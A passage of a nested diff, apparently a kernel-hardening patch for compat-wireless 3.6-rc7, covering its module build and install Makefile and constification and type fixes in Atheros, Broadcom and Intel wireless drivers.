++        -DCOMPAT_BASE_TREE="\"$(shell cat $(PWD)/.compat_base_tree)\"" \
++        -DCOMPAT_BASE_TREE_VERSION="\"$(shell cat $(PWD)/.compat_base_tree_version)\"" \
++        -DCOMPAT_PROJECT="\"Compat-wireless\"" \
++        -DCOMPAT_VERSION="\"$(shell cat $(PWD)/.compat_version)\""
++
++# These exported as they are used by the scripts
++# to check config and compat autoconf
++export COMPAT_CONFIG_CW=$(PWD)/config.mk
++export COMPAT_CONFIG=$(PWD)/.config
++export CONFIG_CHECK=$(PWD)/.config.mk_md5sum.txt
++export COMPAT_AUTOCONF=include/linux/compat_autoconf.h
++export CREL=$(shell cat $(PWD)/.compat_version)
++export CREL_PRE:=.compat_autoconf_
++export CREL_CHECK:=$(PWD)/$(CREL_PRE)$(CREL)
++
++all: modules
++
++$(COMPAT_CONFIG): ;
++
++modules: $(CREL_CHECK)
++	$(MAKE) -C $(KLIB_BUILD) M=$(PWD) modules
++	@touch $@
++
++bt: $(CREL_CHECK)
++	+@./scripts/check_config.sh
++	$(MAKE) -C $(KLIB_BUILD) M=$(PWD) BT=TRUE modules
++	@touch $@
++
++# We use a CREL_CHECK variable which will depend on the environment used to
++# build. If the environment requirements change it forces a reconfiguration
++# check.  This means we force a new reconfiguration check if a the user gets a
++# new updates of compat-wireless or when the user updates the $(COMPAT_CONFIG)
++# file.
++# XXX: add kernel target to the CREL_CHECK mix, this would ensure we also
++# reconfigure and build again fresh if we detect a new target kernel is
++# being used.
++$(CREL_CHECK):
++	@# Force to regenerate compat autoconf
++	+@./compat/scripts/gen-compat-config.sh > $(COMPAT_CONFIG)
++	@rm -f $(CONFIG_CHECK)
++	+@./scripts/check_config.sh
++	@md5sum $(COMPAT_CONFIG_CW) > $(CONFIG_CHECK)
++	@touch $@
++
++btinstall: btuninstall bt-install-modules
++
++bt-install-modules: bt
++	$(MAKE) -C $(KLIB_BUILD) M=$(PWD) $(KMODDIR_ARG) $(KMODPATH_ARG) BT=TRUE \
++		modules_install
++	@/sbin/depmod -ae
++	@echo
++	@echo Now run:
++	@echo
++	@echo sudo make btunload:
++	@echo
++	@echo And then load the needed bluetooth modules. If unsure reboot.
++	@echo
++
++btuninstall:
++	@# New location, matches upstream
++	@rm -rf $(KLIB)/$(KMODDIR)/net/bluetooth/
++	@rm -rf $(KLIB)/$(KMODDIR)/drivers/bluetooth/
++	@# Lets only remove the stuff we are sure we are providing
++	@# on the misc directory.
++	@/sbin/depmod -ae
++	@echo
++
++btclean:
++	$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) BT=TRUE clean
++	@rm -f $(CREL_PRE)*
++
++install: uninstall install-modules install-scripts
++
++install-modules: modules
++	$(MAKE) -C $(KLIB_BUILD) M=$(PWD) $(KMODDIR_ARG) $(KMODPATH_ARG) \
++		modules_install
++	@./scripts/update-initramfs
++
++install-scripts:
++	@# All the scripts we can use
++	@mkdir -p $(DESTDIR)/usr/lib/compat-wireless/
++	@install scripts/modlib.sh	$(DESTDIR)/usr/lib/compat-wireless/
++	@install scripts/madwifi-unload	$(DESTDIR)/usr/sbin/
++	@# This is to allow switching between drivers without blacklisting
++	@install scripts/athenable	$(DESTDIR)/usr/sbin/
++	@install scripts/b43enable	$(DESTDIR)/usr/sbin/
++	@install scripts/iwl-enable	$(DESTDIR)/usr/sbin/
++	@install scripts/athload	$(DESTDIR)/usr/sbin/
++	@install scripts/b43load	$(DESTDIR)/usr/sbin/
++	@install scripts/iwl-load	$(DESTDIR)/usr/sbin/
++	@if [ $(shell modinfo ath_pci > /dev/null 2>&1 && echo 1) ]; then \
++		echo -n "Note: madwifi detected, we're going to disable it. "  ;\
++		echo "If you would like to enable it later you can run:"  ;\
++		echo "    sudo athenable madwifi"  ;\
++		echo ;\
++		echo Running athenable ath5k...;\
++		$(DESTDIR)/usr/sbin/athenable ath5k ;\
++	fi
++	@if [ $(shell modinfo iwl4965 > /dev/null 2>&1 && echo 1) ]; then \
++		echo ;\
++		echo -n "Note: iwl4965 detected, we're going to disable it. "  ;\
++		echo "If you would like to enable it later you can run:"  ;\
++		echo "    sudo iwl-load iwl4965"  ;\
++		echo ;\
++		echo Running iwl-enable iwlagn...;\
++		$(DESTDIR)/usr/sbin/iwl-enable iwlagn ;\
++	fi
++	@if [ $(shell modinfo iwlagn > /dev/null 2>&1 && echo 1) ] \
++	 && [ $(shell modinfo iwlwifi > /dev/null 2>&1 && echo 1) ]; then \
++		echo ;\
++		echo -n "Note: iwlagn detected, we're going to disable it. " ;\
++		echo "If you would like to enable it later you can run:"  ;\
++		echo "    sudo iwl-load iwlagn"  ;\
++		echo ;\
++		echo Running iwl-enable iwlwifi...;\
++		$(DESTDIR)/usr/sbin/iwl-enable iwlwifi ;\
++	fi
++	@# If on distributions like Mandriva which like to
++	@# compress their modules this will find out and do
++	@# it for you. Reason is some old version of modutils
++	@# won't know mac80211.ko should be used instead of
++	@# mac80211.ko.gz
++	@./scripts/compress_modules
++	@# Mandrake doesn't have a depmod.d/ conf file to prefer
++	@# the updates/ dir which is what we use so we add one for it
++	@# (or any other distribution that doens't have this).
++	@./scripts/check_depmod
++	@# Udev stuff needed for the new compat_firmware_class.
++	@./compat/scripts/compat_firmware_install
++	@/sbin/depmod -a
++	@echo 
++	@echo Now run:
++	@echo 
++	@echo sudo make unload to unload all: wireless, bluetooth and ethernet modules
++	@echo sudo make wlunload to unload wireless modules
++	@echo sudo make btunload to unload bluetooth modules
++	@echo
++	@echo Run sudo modprobe 'driver-name' to load your desired driver. 
++	@echo If unsure reboot.
++	@echo
++
++uninstall:
++	@# New location, matches upstream
++	@rm -rf $(KLIB)/$(KMODDIR)/compat/
++	@rm -rf $(KLIB)/$(KMODDIR)/net/mac80211/
++	@rm -rf $(KLIB)/$(KMODDIR)/net/rfkill/
++	@rm -rf $(KLIB)/$(KMODDIR)/net/wireless/
++	@rm -rf $(KLIB)/$(KMODDIR)/drivers/ssb/
++	@rm -rf $(KLIB)/$(KMODDIR)/drivers/net/usb/
++	@rm -rf $(KLIB)/$(KMODDIR)/drivers/net/wireless/
++	@rm -rf $(KLIB)/$(KMODDIR)/drivers/staging/
++	@rm -rf $(KLIB)/$(KMODDIR)/drivers/net/atl*
++	@find $(KLIB)/$(KMODDIR)/drivers/net/ -name "alx*.ko" -o -name "atl*.ko" 2>/dev/null |xargs rm -f
++	@# Lets only remove the stuff we are sure we are providing
++	@# on the misc directory.
++	@rm -f $(KLIB)/$(KMODDIR)/drivers/misc/eeprom/eeprom_93cx6.ko*
++	@rm -f $(KLIB)/$(KMODDIR)/drivers/misc/eeprom_93cx6.ko*
++	@rm -f $(KLIB)/$(KMODDIR)/drivers/net/b44.ko*
++	@/sbin/depmod -a
++	@./scripts/update-initramfs
++	@echo 
++
++clean:
++	@if [ -d net -a -d $(KLIB_BUILD) ]; then \
++		$(MAKE) -C $(KLIB_BUILD) M=$(PWD) clean ;\
++	fi
++	@rm -f $(CREL_PRE)*
++unload:
++	@./scripts/unload.sh
++
++btunload:
++	@./scripts/btunload.sh
++
++wlunload:
++	@./scripts/wlunload.sh
++
++
++.PHONY: all clean install uninstall unload btunload wlunload modules bt Makefile
++
++endif
++
++clean-files += Module.symvers Module.markers modules modules.order
++clean-files += $(CREL_CHECK) $(CONFIG_CHECK) $(COMPAT_CONFIG)
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/ethernet/atheros/alx/alx_sw.h compat-wireless-3.6-rc7-1-snpc/drivers/net/ethernet/atheros/alx/alx_sw.h
+--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/ethernet/atheros/alx/alx_sw.h	2012-09-27 23:19:12.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/ethernet/atheros/alx/alx_sw.h	2012-10-15 17:29:45.216925787 +0000
+@@ -326,7 +326,7 @@ struct alx_hw_callbacks {
+ 
+ 	/* Others */
+ 	int (*get_ethtool_regs)(struct alx_hw *, void *);
+-};
++} __no_const;
+ 
+ struct alx_hw {
+ 	struct alx_adapter	*adpt;
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/ethernet/atheros/atlx/atl2.c compat-wireless-3.6-rc7-1-snpc/drivers/net/ethernet/atheros/atlx/atl2.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/ethernet/atheros/atlx/atl2.c	2012-09-27 23:19:12.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/ethernet/atheros/atlx/atl2.c	2012-10-15 17:30:59.816924531 +0000
+@@ -2872,7 +2872,7 @@ static void atl2_force_ps(struct atl2_hw
+  */
+ 
+ #define ATL2_PARAM(X, desc) \
+-    static const int __devinitdata X[ATL2_MAX_NIC + 1] = ATL2_PARAM_INIT; \
++    static const int __devinitconst X[ATL2_MAX_NIC + 1] = ATL2_PARAM_INIT; \
+     MODULE_PARM(X, "1-" __MODULE_STRING(ATL2_MAX_NIC) "i"); \
+     MODULE_PARM_DESC(X, desc);
+ #else
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath.h compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath.h
+--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath.h	2012-09-27 23:19:12.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath.h	2012-10-15 17:30:59.818924529 +0000
+@@ -119,6 +119,7 @@ struct ath_ops {
+ 	void (*write_flush) (void *);
+ 	u32 (*rmw)(void *, u32 reg_offset, u32 set, u32 clr);
+ };
++typedef struct ath_ops __no_const ath_ops_no_const;
+ 
+ struct ath_common;
+ struct ath_bus_ops;
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath9k/ar9002_mac.c compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath9k/ar9002_mac.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath9k/ar9002_mac.c	2012-09-27 23:19:11.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath9k/ar9002_mac.c	2012-10-15 17:30:59.816924531 +0000
+@@ -184,8 +184,8 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 	ads->ds_txstatus6 = ads->ds_txstatus7 = 0;
+ 	ads->ds_txstatus8 = ads->ds_txstatus9 = 0;
+ 
+-	ACCESS_ONCE(ads->ds_link) = i->link;
+-	ACCESS_ONCE(ads->ds_data) = i->buf_addr[0];
++	ACCESS_ONCE_RW(ads->ds_link) = i->link;
++	ACCESS_ONCE_RW(ads->ds_data) = i->buf_addr[0];
+ 
+ 	ctl1 = i->buf_len[0] | (i->is_last ? 0 : AR_TxMore);
+ 	ctl6 = SM(i->keytype, AR_EncrType);
+@@ -199,26 +199,26 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 
+ 	if ((i->is_first || i->is_last) &&
+ 	    i->aggr != AGGR_BUF_MIDDLE && i->aggr != AGGR_BUF_LAST) {
+-		ACCESS_ONCE(ads->ds_ctl2) = set11nTries(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ds_ctl2) = set11nTries(i->rates, 0)
+ 			| set11nTries(i->rates, 1)
+ 			| set11nTries(i->rates, 2)
+ 			| set11nTries(i->rates, 3)
+ 			| (i->dur_update ? AR_DurUpdateEna : 0)
+ 			| SM(0, AR_BurstDur);
+ 
+-		ACCESS_ONCE(ads->ds_ctl3) = set11nRate(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ds_ctl3) = set11nRate(i->rates, 0)
+ 			| set11nRate(i->rates, 1)
+ 			| set11nRate(i->rates, 2)
+ 			| set11nRate(i->rates, 3);
+ 	} else {
+-		ACCESS_ONCE(ads->ds_ctl2) = 0;
+-		ACCESS_ONCE(ads->ds_ctl3) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl2) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl3) = 0;
+ 	}
+ 
+ 	if (!i->is_first) {
+-		ACCESS_ONCE(ads->ds_ctl0) = 0;
+-		ACCESS_ONCE(ads->ds_ctl1) = ctl1;
+-		ACCESS_ONCE(ads->ds_ctl6) = ctl6;
++		ACCESS_ONCE_RW(ads->ds_ctl0) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1;
++		ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6;
+ 		return;
+ 	}
+ 
+@@ -243,7 +243,7 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 		break;
+ 	}
+ 
+-	ACCESS_ONCE(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen)
++	ACCESS_ONCE_RW(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen)
+ 		| (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0)
+ 		| SM(i->txpower, AR_XmitPower)
+ 		| (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0)
+@@ -253,19 +253,19 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 		| (i->flags & ATH9K_TXDESC_RTSENA ? AR_RTSEnable :
+ 		   (i->flags & ATH9K_TXDESC_CTSENA ? AR_CTSEnable : 0));
+ 
+-	ACCESS_ONCE(ads->ds_ctl1) = ctl1;
+-	ACCESS_ONCE(ads->ds_ctl6) = ctl6;
++	ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1;
++	ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6;
+ 
+ 	if (i->aggr == AGGR_BUF_MIDDLE || i->aggr == AGGR_BUF_LAST)
+ 		return;
+ 
+-	ACCESS_ONCE(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0)
+ 		| set11nPktDurRTSCTS(i->rates, 1);
+ 
+-	ACCESS_ONCE(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2)
++	ACCESS_ONCE_RW(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2)
+ 		| set11nPktDurRTSCTS(i->rates, 3);
+ 
+-	ACCESS_ONCE(ads->ds_ctl7) = set11nRateFlags(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ds_ctl7) = set11nRateFlags(i->rates, 0)
+ 		| set11nRateFlags(i->rates, 1)
+ 		| set11nRateFlags(i->rates, 2)
+ 		| set11nRateFlags(i->rates, 3)
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath9k/ar9003_mac.c compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath9k/ar9003_mac.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath9k/ar9003_mac.c	2012-09-27 23:19:12.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath9k/ar9003_mac.c	2012-10-15 17:30:59.817924530 +0000
+@@ -39,47 +39,47 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 	      (i->qcu << AR_TxQcuNum_S) | desc_len;
+ 
+ 	checksum += val;
+-	ACCESS_ONCE(ads->info) = val;
++	ACCESS_ONCE_RW(ads->info) = val;
+ 
+ 	checksum += i->link;
+-	ACCESS_ONCE(ads->link) = i->link;
++	ACCESS_ONCE_RW(ads->link) = i->link;
+ 
+ 	checksum += i->buf_addr[0];
+-	ACCESS_ONCE(ads->data0) = i->buf_addr[0];
++	ACCESS_ONCE_RW(ads->data0) = i->buf_addr[0];
+ 	checksum += i->buf_addr[1];
+-	ACCESS_ONCE(ads->data1) = i->buf_addr[1];
++	ACCESS_ONCE_RW(ads->data1) = i->buf_addr[1];
+ 	checksum += i->buf_addr[2];
+-	ACCESS_ONCE(ads->data2) = i->buf_addr[2];
++	ACCESS_ONCE_RW(ads->data2) = i->buf_addr[2];
+ 	checksum += i->buf_addr[3];
+-	ACCESS_ONCE(ads->data3) = i->buf_addr[3];
++	ACCESS_ONCE_RW(ads->data3) = i->buf_addr[3];
+ 
+ 	checksum += (val = (i->buf_len[0] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl3) = val;
++	ACCESS_ONCE_RW(ads->ctl3) = val;
+ 	checksum += (val = (i->buf_len[1] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl5) = val;
++	ACCESS_ONCE_RW(ads->ctl5) = val;
+ 	checksum += (val = (i->buf_len[2] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl7) = val;
++	ACCESS_ONCE_RW(ads->ctl7) = val;
+ 	checksum += (val = (i->buf_len[3] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl9) = val;
++	ACCESS_ONCE_RW(ads->ctl9) = val;
+ 
+ 	checksum = (u16) (((checksum & 0xffff) + (checksum >> 16)) & 0xffff);
+-	ACCESS_ONCE(ads->ctl10) = checksum;
++	ACCESS_ONCE_RW(ads->ctl10) = checksum;
+ 
+ 	if (i->is_first || i->is_last) {
+-		ACCESS_ONCE(ads->ctl13) = set11nTries(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ctl13) = set11nTries(i->rates, 0)
+ 			| set11nTries(i->rates, 1)
+ 			| set11nTries(i->rates, 2)
+ 			| set11nTries(i->rates, 3)
+ 			| (i->dur_update ? AR_DurUpdateEna : 0)
+ 			| SM(0, AR_BurstDur);
+ 
+-		ACCESS_ONCE(ads->ctl14) = set11nRate(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ctl14) = set11nRate(i->rates, 0)
+ 			| set11nRate(i->rates, 1)
+ 			| set11nRate(i->rates, 2)
+ 			| set11nRate(i->rates, 3);
+ 	} else {
+-		ACCESS_ONCE(ads->ctl13) = 0;
+-		ACCESS_ONCE(ads->ctl14) = 0;
++		ACCESS_ONCE_RW(ads->ctl13) = 0;
++		ACCESS_ONCE_RW(ads->ctl14) = 0;
+ 	}
+ 
+ 	ads->ctl20 = 0;
+@@ -89,17 +89,17 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 
+ 	ctl17 = SM(i->keytype, AR_EncrType);
+ 	if (!i->is_first) {
+-		ACCESS_ONCE(ads->ctl11) = 0;
+-		ACCESS_ONCE(ads->ctl12) = i->is_last ? 0 : AR_TxMore;
+-		ACCESS_ONCE(ads->ctl15) = 0;
+-		ACCESS_ONCE(ads->ctl16) = 0;
+-		ACCESS_ONCE(ads->ctl17) = ctl17;
+-		ACCESS_ONCE(ads->ctl18) = 0;
+-		ACCESS_ONCE(ads->ctl19) = 0;
++		ACCESS_ONCE_RW(ads->ctl11) = 0;
++		ACCESS_ONCE_RW(ads->ctl12) = i->is_last ? 0 : AR_TxMore;
++		ACCESS_ONCE_RW(ads->ctl15) = 0;
++		ACCESS_ONCE_RW(ads->ctl16) = 0;
++		ACCESS_ONCE_RW(ads->ctl17) = ctl17;
++		ACCESS_ONCE_RW(ads->ctl18) = 0;
++		ACCESS_ONCE_RW(ads->ctl19) = 0;
+ 		return;
+ 	}
+ 
+-	ACCESS_ONCE(ads->ctl11) = (i->pkt_len & AR_FrameLen)
++	ACCESS_ONCE_RW(ads->ctl11) = (i->pkt_len & AR_FrameLen)
+ 		| (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0)
+ 		| SM(i->txpower, AR_XmitPower)
+ 		| (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0)
+@@ -135,22 +135,22 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 	val = (i->flags & ATH9K_TXDESC_PAPRD) >> ATH9K_TXDESC_PAPRD_S;
+ 	ctl12 |= SM(val, AR_PAPRDChainMask);
+ 
+-	ACCESS_ONCE(ads->ctl12) = ctl12;
+-	ACCESS_ONCE(ads->ctl17) = ctl17;
++	ACCESS_ONCE_RW(ads->ctl12) = ctl12;
++	ACCESS_ONCE_RW(ads->ctl17) = ctl17;
+ 
+-	ACCESS_ONCE(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0)
+ 		| set11nPktDurRTSCTS(i->rates, 1);
+ 
+-	ACCESS_ONCE(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2)
++	ACCESS_ONCE_RW(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2)
+ 		| set11nPktDurRTSCTS(i->rates, 3);
+ 
+-	ACCESS_ONCE(ads->ctl18) = set11nRateFlags(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ctl18) = set11nRateFlags(i->rates, 0)
+ 		| set11nRateFlags(i->rates, 1)
+ 		| set11nRateFlags(i->rates, 2)
+ 		| set11nRateFlags(i->rates, 3)
+ 		| SM(i->rtscts_rate, AR_RTSCTSRate);
+ 
+-	ACCESS_ONCE(ads->ctl19) = AR_Not_Sounding;
++	ACCESS_ONCE_RW(ads->ctl19) = AR_Not_Sounding;
+ }
+ 
+ static u16 ar9003_calc_ptr_chksum(struct ar9003_txc *ads)
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath9k/hw.h compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath9k/hw.h
+--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath9k/hw.h	2012-09-27 23:19:12.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath9k/hw.h	2012-10-15 17:30:59.817924530 +0000
+@@ -657,7 +657,7 @@ struct ath_hw_private_ops {
+ 
+ 	/* ANI */
+ 	void (*ani_cache_ini_regs)(struct ath_hw *ah);
+-};
++} __no_const;
+ 
+ /**
+  * struct ath_hw_ops - callbacks used by hardware code and driver code
+@@ -687,7 +687,7 @@ struct ath_hw_ops {
+ 	void (*antdiv_comb_conf_set)(struct ath_hw *ah,
+ 			struct ath_hw_antcomb_conf *antconf);
+ 	void (*antctrl_shared_chain_lnadiv)(struct ath_hw *hw, bool enable);
+-};
++} __no_const;
+ 
+ struct ath_nf_limits {
+ 	s16 max;
+@@ -707,7 +707,7 @@ enum ath_cal_list {
+ #define AH_FASTCC       0x4
+ 
+ struct ath_hw {
+-	struct ath_ops reg_ops;
++	ath_ops_no_const reg_ops;
+ 
+ 	struct ieee80211_hw *hw;
+ 	struct ath_common common;
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath9k/hw.h.rej compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath9k/hw.h.rej
+--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath9k/hw.h.rej	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath9k/hw.h.rej	2012-10-15 17:30:59.817924530 +0000
+@@ -0,0 +1,11 @@
++--- drivers/net/wireless/ath/ath9k/hw.h	2012-10-01 02:49:33.956114433 +0200
+++++ drivers/net/wireless/ath/ath9k/hw.h	2012-10-01 02:50:42.624114649 +0200
++@@ -686,7 +686,7 @@
++ 	void (*antdiv_comb_conf_set)(struct ath_hw *ah,
++ 			struct ath_hw_antcomb_conf *antconf);
++ 
++-};
+++} __no_const;
++ 
++ struct ath_nf_limits {
++ 	s16 max;
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h
+--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h	2012-09-27 23:19:11.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h	2012-10-15 17:30:59.818924529 +0000
+@@ -545,7 +545,7 @@ struct phy_func_ptr {
+ 	void (*carrsuppr)(struct brcms_phy *);
+ 	s32 (*rxsigpwr)(struct brcms_phy *, s32);
+ 	void (*detach)(struct brcms_phy *);
+-};
++} __no_const;
+ 
+ struct brcms_phy {
+ 	struct brcms_phy_pub pubpi_ro;
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/iwlegacy/3945-mac.c compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/iwlegacy/3945-mac.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/iwlegacy/3945-mac.c	2012-09-27 23:19:12.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/iwlegacy/3945-mac.c	2012-10-15 17:30:59.819924529 +0000
+@@ -3613,7 +3613,9 @@ il3945_pci_probe(struct pci_dev *pdev, c
+ 	 */
+ 	if (il3945_mod_params.disable_hw_scan) {
+ 		D_INFO("Disabling hw_scan\n");
+-		il3945_mac_ops.hw_scan = NULL;
++		pax_open_kernel();
++		*(void **)&il3945_mac_ops.hw_scan = NULL;
++		pax_close_kernel();
+ 	}
+ 
+ 	D_INFO("*** LOAD DRIVER ***\n");
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/iwlwifi/dvm/debugfs.c compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/iwlwifi/dvm/debugfs.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/iwlwifi/dvm/debugfs.c	2012-09-27 23:19:11.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/iwlwifi/dvm/debugfs.c	2012-10-15 17:30:59.819924529 +0000
+@@ -203,7 +203,7 @@ static ssize_t iwl_dbgfs_sram_write(stru
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[64];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 offset, len;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -473,7 +473,7 @@ static ssize_t iwl_dbgfs_rx_handlers_wri
+ 	struct iwl_priv *priv = file->private_data;
+ 
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 reset_flag;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -554,7 +554,7 @@ static ssize_t iwl_dbgfs_disable_ht40_wr
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int ht40;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -606,7 +606,7 @@ static ssize_t iwl_dbgfs_sleep_level_ove
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int value;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1871,7 +1871,7 @@ static ssize_t iwl_dbgfs_clear_ucode_sta
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int clear;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1916,7 +1916,7 @@ static ssize_t iwl_dbgfs_ucode_tracing_w
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int trace;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1987,7 +1987,7 @@ static ssize_t iwl_dbgfs_missed_beacon_w
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int missed;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2028,7 +2028,7 @@ static ssize_t iwl_dbgfs_plcp_delta_writ
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int plcp;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2088,7 +2088,7 @@ static ssize_t iwl_dbgfs_txfifo_flush_wr
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int flush;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2178,7 +2178,7 @@ static ssize_t iwl_dbgfs_protection_mode
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int rts;
+ 
+ 	if (!priv->cfg->ht_params)
+@@ -2220,7 +2220,7 @@ static ssize_t iwl_dbgfs_echo_test_write
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	memset(buf, 0, sizeof(buf));
+ 	buf_size = min(count, sizeof(buf) -  1);
+@@ -2256,7 +2256,7 @@ static ssize_t iwl_dbgfs_log_event_write
+ 	struct iwl_priv *priv = file->private_data;
+ 	u32 event_log_flag;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	/* check that the interface is up */
+ 	if (!iwl_is_ready(priv))
+@@ -2310,7 +2310,7 @@ static ssize_t iwl_dbgfs_calib_disabled_
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+ 	u32 calib_disabled;
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	memset(buf, 0, sizeof(buf));
+ 	buf_size = min(count, sizeof(buf) - 1);
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/iwlwifi/pcie/trans.c compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/iwlwifi/pcie/trans.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/iwlwifi/pcie/trans.c	2012-09-27 23:19:12.000000000 +0000
